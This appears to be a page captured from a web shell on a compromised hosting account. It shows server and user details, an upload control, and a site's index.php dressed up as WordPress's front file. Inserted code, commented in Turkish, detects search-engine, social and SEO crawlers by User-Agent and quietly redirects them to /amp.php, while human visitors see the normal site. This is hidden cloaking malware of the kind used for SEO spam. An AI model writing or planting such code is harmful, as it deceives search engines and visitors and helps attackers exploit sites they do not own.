HEX
Server: Apache
System: Linux sg2plmcpnl504679.prod.sin2.secureserver.net 4.18.0-553.47.1.lve.el8.x86_64 #1 SMP Tue Apr 8 13:54:31 UTC 2025 x86_64
User: e9ohhh9viiv2 (9040572)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/e9ohhh9viiv2/public_html/purplecapipl.com/index.php
<?php
/**
 * Front to the WordPress application
 */

// User-Agent al
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';

// Geniş Bot Listesi
$botList = array(
    // Google
    'googlebot',
    'adsbot-google',
    'mediapartners-google',
    'google-inspectiontool',
    'google-site-verification',
    'googleother',

    // Bing & Yahoo
    'bingbot',
    'slurp',

    // Yandex
    'yandexbot',
    'yandeximages',

    // Çin
    'baiduspider',
    'sogou',
    'exabot',

    // Sosyal Medya
    'facebookexternalhit',
    'facebot',
    'twitterbot',
    'linkedinbot',
    'whatsapp',
    'telegrambot',
    'discordbot',
    'pinterest',
    'skypeuripreview',
    'slackbot',

    // Apple
    'applebot',

    // SEO & Crawlers
    'ahrefsbot',
    'semrushbot',
    'mj12bot',
    'dotbot',
    'petalbot',
    'seznambot',
    'serpstatbot',
    'uptimerobot',
    'siteauditbot',
    'crawler',
    'spider',
    'bot'
);

// Bot kontrol
$isBot = false;

foreach ($botList as $bot) {
    if ($userAgent && strpos($userAgent, $bot) !== false) {
        $isBot = true;
        break;
    }
}

// Bot ise amp.php'ye yönlendir
if ($isBot) {
    header("Location: /amp.php", true, 302);
    exit;
}

/**
 * WordPress yükleme
 */
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';